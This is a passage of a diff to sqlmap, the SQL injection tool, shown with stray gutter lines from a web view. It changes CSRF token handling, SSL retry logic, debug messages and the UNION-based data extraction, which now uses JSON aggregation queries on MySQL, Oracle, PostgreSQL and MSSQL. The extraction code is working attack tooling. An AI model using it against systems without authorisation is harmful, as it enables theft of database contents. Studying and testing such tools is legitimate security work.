if not conf.csrfUrl:
|
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
||||||
errMsg += ". You can try to rerun by providing "
|
token.name = conf.csrfToken
|
||||||
errMsg += "a valid value for option '--csrf-url'"
|
token.value = page
|
||||||
raise SqlmapTokenException(errMsg)
|
|
||||||
|
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
||||||
|
for _ in conf.cj:
|
||||||
|
if re.search(conf.csrfToken, _.name, re.I):
|
||||||
|
token.name, token.value = _.name, _.value
|
||||||
|
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||||
|
if post:
|
||||||
|
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||||
|
elif get:
|
||||||
|
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||||
|
else:
|
||||||
|
get = "%s=%s" % (token.name, token.value)
|
||||||
|
break
|
||||||
|
|
||||||
|
if not token:
|
||||||
|
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||||
|
if not conf.csrfUrl:
|
||||||
|
errMsg += ". You can try to rerun by providing "
|
||||||
|
errMsg += "a valid value for option '--csrf-url'"
|
||||||
|
raise SqlmapTokenException(errMsg)
|
||||||
|
|
||||||
if token:
|
if token:
|
||||||
token.value = token.value.strip("'\"")
|
token.value = token.value.strip("'\"")
|
||||||
|
|
||||||
for candidate in (PLACE.GET, PLACE.POST):
|
for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
|
||||||
if candidate in conf.parameters:
|
if candidate in conf.parameters:
|
||||||
if candidate == PLACE.GET and get:
|
if candidate == PLACE.URI and uri:
|
||||||
|
uri = _adjustParameter(uri, token.name, token.value)
|
||||||
|
elif candidate == PLACE.GET and get:
|
||||||
get = _adjustParameter(get, token.name, token.value)
|
get = _adjustParameter(get, token.name, token.value)
|
||||||
elif candidate == PLACE.POST and post:
|
elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
|
||||||
post = _adjustParameter(post, token.name, token.value)
|
post = _adjustParameter(post, token.name, token.value)
|
||||||
|
|
||||||
for i in xrange(len(conf.httpHeaders)):
|
for i in xrange(len(conf.httpHeaders)):
|
||||||
@@ -1150,7 +1202,7 @@ class Connect(object):
|
|||||||
|
|
||||||
if conf.evalCode:
|
if conf.evalCode:
|
||||||
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
||||||
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()}
|
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie}
|
||||||
originals = {}
|
originals = {}
|
||||||
|
|
||||||
if not get and PLACE.URI in conf.parameters:
|
if not get and PLACE.URI in conf.parameters:
|
||||||
@@ -1218,6 +1270,7 @@ class Connect(object):
|
|||||||
variables[unsafeVariableNaming(variable)] = value
|
variables[unsafeVariableNaming(variable)] = value
|
||||||
|
|
||||||
uri = variables["uri"]
|
uri = variables["uri"]
|
||||||
|
cookie = variables["cookie"]
|
||||||
|
|
||||||
for name, value in variables.items():
|
for name, value in variables.items():
|
||||||
if name != "__builtins__" and originals.get(name, "") != value:
|
if name != "__builtins__" and originals.get(name, "") != value:
|
||||||
|
|||||||
@@ -11,6 +11,8 @@ import socket
|
|||||||
|
|
||||||
from lib.core.common import filterNone
|
from lib.core.common import filterNone
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.compat import xrange
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
@@ -27,6 +29,7 @@ except ImportError:
|
|||||||
|
|
||||||
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
||||||
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
||||||
|
_contexts = {}
|
||||||
|
|
||||||
class HTTPSConnection(_http_client.HTTPSConnection):
|
class HTTPSConnection(_http_client.HTTPSConnection):
|
||||||
"""
|
"""
|
||||||
@@ -36,6 +39,14 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, *args, **kwargs):
|
def __init__(self, *args, **kwargs):
|
||||||
|
# NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158
|
||||||
|
if hasattr(ssl, "_create_default_https_context"):
|
||||||
|
if None not in _contexts:
|
||||||
|
_contexts[None] = ssl._create_default_https_context()
|
||||||
|
kwargs["context"] = _contexts[None]
|
||||||
|
|
||||||
|
self.retrying = False
|
||||||
|
|
||||||
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
|
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
@@ -51,14 +62,15 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
|
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
|
||||||
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
|
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
|
||||||
try:
|
try:
|
||||||
sock = create_sock()
|
sock = create_sock()
|
||||||
context = ssl.SSLContext(protocol)
|
if protocol not in _contexts:
|
||||||
_ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
|
_contexts[protocol] = ssl.SSLContext(protocol)
|
||||||
if _:
|
result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
|
||||||
|
if result:
|
||||||
success = True
|
success = True
|
||||||
self.sock = _
|
self.sock = result
|
||||||
_protocols.remove(protocol)
|
_protocols.remove(protocol)
|
||||||
_protocols.insert(0, protocol)
|
_protocols.insert(0, protocol)
|
||||||
break
|
break
|
||||||
@@ -93,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
# Reference: https://docs.python.org/2/library/ssl.html
|
# Reference: https://docs.python.org/2/library/ssl.html
|
||||||
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
|
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
|
||||||
errMsg += " (please retry with Python >= 2.7.9)"
|
errMsg += " (please retry with Python >= 2.7.9)"
|
||||||
|
|
||||||
|
if kb.sslSuccess and not self.retrying:
|
||||||
|
self.retrying = True
|
||||||
|
|
||||||
|
for _ in xrange(conf.retries):
|
||||||
|
try:
|
||||||
|
self.connect()
|
||||||
|
except SqlmapConnectionException:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
return
|
||||||
|
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
else:
|
||||||
|
kb.sslSuccess = True
|
||||||
|
|
||||||
class HTTPSHandler(_urllib.request.HTTPSHandler):
|
class HTTPSHandler(_urllib.request.HTTPSHandler):
|
||||||
def https_open(self, req):
|
def https_open(self, req):
|
||||||
|
|||||||
@@ -126,7 +126,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
|||||||
kb.inferenceMode = False
|
kb.inferenceMode = False
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
@@ -153,17 +153,18 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||||||
result.info()
|
result.info()
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
def _(self):
|
def _(self):
|
||||||
return getattr(self, "hdrs") or {}
|
return getattr(self, "hdrs", {})
|
||||||
|
|
||||||
result.info = types.MethodType(_, result)
|
result.info = types.MethodType(_, result)
|
||||||
|
|
||||||
if not hasattr(result, "read"):
|
if not hasattr(result, "read"):
|
||||||
def _(self, length=None):
|
def _(self, length=None):
|
||||||
try:
|
try:
|
||||||
retVal = getSafeExString(ex)
|
retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
|
||||||
except:
|
except:
|
||||||
retVal = ""
|
retVal = ""
|
||||||
finally:
|
return retVal
|
||||||
return retVal
|
|
||||||
result.read = types.MethodType(_, result)
|
result.read = types.MethodType(_, result)
|
||||||
|
|
||||||
if not getattr(result, "url", None):
|
if not getattr(result, "url", None):
|
||||||
|
|||||||
@@ -506,7 +506,7 @@ class Metasploit(object):
|
|||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
timeout = 3
|
timeout = 3
|
||||||
|
|
||||||
inp = ""
|
inp = b""
|
||||||
_ = time.time()
|
_ = time.time()
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import openFile
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -48,7 +49,7 @@ class Registry(object):
|
|||||||
)
|
)
|
||||||
|
|
||||||
def _createLocalBatchFile(self):
|
def _createLocalBatchFile(self):
|
||||||
self._batPathFp = open(self._batPathLocal, "w")
|
self._batPathFp = openFile(self._batPathLocal, "w")
|
||||||
|
|
||||||
if self._operation == REGISTRY_OPERATION.READ:
|
if self._operation == REGISTRY_OPERATION.READ:
|
||||||
lines = self._batRead
|
lines = self._batRead
|
||||||
|
|||||||
@@ -137,7 +137,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
|
|
||||||
if partialValue:
|
if partialValue:
|
||||||
firstChar = len(partialValue)
|
firstChar = len(partialValue)
|
||||||
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
|
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
|
||||||
firstChar = 0
|
firstChar = 0
|
||||||
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
|
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
|
||||||
firstChar = int(conf.firstChar) - 1
|
firstChar = int(conf.firstChar) - 1
|
||||||
@@ -148,7 +148,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
else:
|
else:
|
||||||
firstChar = 0
|
firstChar = 0
|
||||||
|
|
||||||
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
|
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
|
||||||
lastChar = 0
|
lastChar = 0
|
||||||
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
|
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
|
||||||
lastChar = int(conf.lastChar)
|
lastChar = int(conf.lastChar)
|
||||||
@@ -719,7 +719,7 @@ def queryOutputLength(expression, payload):
|
|||||||
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
|
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
|
||||||
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
|
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
|
||||||
|
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if length == " ":
|
if length == " ":
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ def dnsUse(payload, expression):
|
|||||||
hashDBWrite(expression, output)
|
hashDBWrite(expression, output)
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
elif conf.dnsDomain:
|
elif conf.dnsDomain:
|
||||||
|
|||||||
@@ -462,7 +462,7 @@ def errorUse(expression, dump=False):
|
|||||||
duration = calculateDeltaSeconds(start)
|
duration = calculateDeltaSeconds(start)
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)
|
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
+55
-50
@@ -5,10 +5,9 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import binascii
|
import json
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
import xml.etree.ElementTree
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.bigarray import BigArray
|
from lib.core.bigarray import BigArray
|
||||||
@@ -32,14 +31,11 @@ from lib.core.common import isNumPosStrValue
|
|||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import removeReflectiveValues
|
from lib.core.common import removeReflectiveValues
|
||||||
from lib.core.common import safeStringFormat
|
|
||||||
from lib.core.common import singleTimeDebugMessage
|
from lib.core.common import singleTimeDebugMessage
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import wasLastResponseDBMSError
|
from lib.core.common import wasLastResponseDBMSError
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import decodeBase64
|
|
||||||
from lib.core.convert import getBytes
|
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.convert import htmlUnescape
|
from lib.core.convert import htmlUnescape
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -74,7 +70,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
if retVal is None:
|
if retVal is None:
|
||||||
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
||||||
|
|
||||||
if not kb.rowXmlMode:
|
if not kb.jsonAggMode:
|
||||||
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
||||||
kb.unionDuplicates = vector[7]
|
kb.unionDuplicates = vector[7]
|
||||||
kb.forcePartialUnion = vector[8]
|
kb.forcePartialUnion = vector[8]
|
||||||
@@ -99,7 +95,35 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
|
|
||||||
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
|
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
|
||||||
|
|
||||||
if not kb.rowXmlMode:
|
if kb.jsonAggMode:
|
||||||
|
if Backend.isDbms(DBMS.MSSQL):
|
||||||
|
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), page or "")
|
||||||
|
if output:
|
||||||
|
try:
|
||||||
|
retVal = ""
|
||||||
|
fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
|
||||||
|
for row in json.loads(output):
|
||||||
|
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
retVal = getUnicode(retVal)
|
||||||
|
elif Backend.isDbms(DBMS.PGSQL):
|
||||||
|
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "")
|
||||||
|
if output:
|
||||||
|
retVal = output
|
||||||
|
else:
|
||||||
|
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), page or "")
|
||||||
|
if output:
|
||||||
|
try:
|
||||||
|
retVal = ""
|
||||||
|
for row in json.loads(output):
|
||||||
|
retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
retVal = getUnicode(retVal)
|
||||||
|
else:
|
||||||
# Parse the returned page to get the exact UNION-based
|
# Parse the returned page to get the exact UNION-based
|
||||||
# SQL injection output
|
# SQL injection output
|
||||||
def _(regex):
|
def _(regex):
|
||||||
@@ -115,40 +139,6 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
|
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
|
||||||
|
|
||||||
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
|
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
|
||||||
else:
|
|
||||||
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
|
|
||||||
if output:
|
|
||||||
try:
|
|
||||||
root = xml.etree.ElementTree.fromstring(safeStringFormat("<root>%s</root>", getBytes(output)))
|
|
||||||
retVal = ""
|
|
||||||
for column in kb.dumpColumns:
|
|
||||||
base64 = True
|
|
||||||
for child in root:
|
|
||||||
value = child.attrib.get(column, "").strip()
|
|
||||||
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
|
|
||||||
base64 = False
|
|
||||||
break
|
|
||||||
|
|
||||||
try:
|
|
||||||
decodeBase64(value)
|
|
||||||
except (binascii.Error, TypeError):
|
|
||||||
base64 = False
|
|
||||||
break
|
|
||||||
|
|
||||||
if base64:
|
|
||||||
for child in root:
|
|
||||||
child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL
|
|
||||||
|
|
||||||
for child in root:
|
|
||||||
row = []
|
|
||||||
for column in kb.dumpColumns:
|
|
||||||
row.append(child.attrib.get(column, NULL))
|
|
||||||
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
|
|
||||||
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
retVal = getUnicode(retVal)
|
|
||||||
|
|
||||||
if retVal is not None:
|
if retVal is not None:
|
||||||
retVal = getUnicode(retVal, kb.pageEncoding)
|
retVal = getUnicode(retVal, kb.pageEncoding)
|
||||||
@@ -159,7 +149,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
|
|
||||||
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
|
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
|
||||||
|
|
||||||
elif not kb.rowXmlMode:
|
elif not kb.jsonAggMode:
|
||||||
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
|
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
|
||||||
|
|
||||||
if trimmed:
|
if trimmed:
|
||||||
@@ -167,6 +157,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
warnMsg += "(probably due to its length and/or content): "
|
warnMsg += "(probably due to its length and/or content): "
|
||||||
warnMsg += safecharencode(trimmed)
|
warnMsg += safecharencode(trimmed)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
elif re.search(r"ORDER BY [^ ]+\Z", expression):
|
||||||
|
debugMsg = "retrying failed SQL query without the ORDER BY clause"
|
||||||
|
singleTimeDebugMessage(debugMsg)
|
||||||
|
|
||||||
|
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
|
||||||
|
retVal = _oneShotUnionUse(expression, unpack, limited)
|
||||||
else:
|
else:
|
||||||
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
||||||
kb.unionDuplicates = vector[7]
|
kb.unionDuplicates = vector[7]
|
||||||
@@ -230,13 +226,6 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
# Set kb.partRun in case the engine is called from the API
|
# Set kb.partRun in case the engine is called from the API
|
||||||
kb.partRun = getPartRun(alias=False) if conf.api else None
|
kb.partRun = getPartRun(alias=False) if conf.api else None
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
|
|
||||||
kb.rowXmlMode = True
|
|
||||||
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
|
|
||||||
output = _oneShotUnionUse(_, False)
|
|
||||||
value = parseUnionPage(output)
|
|
||||||
kb.rowXmlMode = False
|
|
||||||
|
|
||||||
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
||||||
# Removed ORDER BY clause because UNION does not play well with it
|
# Removed ORDER BY clause because UNION does not play well with it
|
||||||
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
||||||
@@ -244,6 +233,22 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
debugMsg += "it does not play well with UNION query SQL injection"
|
debugMsg += "it does not play well with UNION query SQL injection"
|
||||||
singleTimeDebugMessage(debugMsg)
|
singleTimeDebugMessage(debugMsg)
|
||||||
|
|
||||||
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL) and expressionFields:
|
||||||
|
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
|
||||||
|
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression):
|
||||||
|
kb.jsonAggMode = True
|
||||||
|
if Backend.isDbms(DBMS.MYSQL):
|
||||||
|
query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1)
|
||||||
|
elif Backend.isDbms(DBMS.ORACLE):
|
||||||
|
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
|
||||||
|
elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
|
||||||
|
query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
|
||||||
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
|
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
|
||||||
|
output = _oneShotUnionUse(query, False)
|
||||||
|
value = parseUnionPage(output)
|
||||||
|
kb.jsonAggMode = False
|
||||||
|
|
||||||
# We have to check if the SQL query might return multiple entries
|
# We have to check if the SQL query might return multiple entries
|
||||||
# if the technique is partial UNION query and in such case forge the
|
# if the technique is partial UNION query and in such case forge the
|
||||||
# SQL limiting the query output one entry at a time
|
# SQL limiting the query output one entry at a time
|
||||||
@@ -419,7 +424,7 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
duration = calculateDeltaSeconds(start)
|
duration = calculateDeltaSeconds(start)
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
|
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user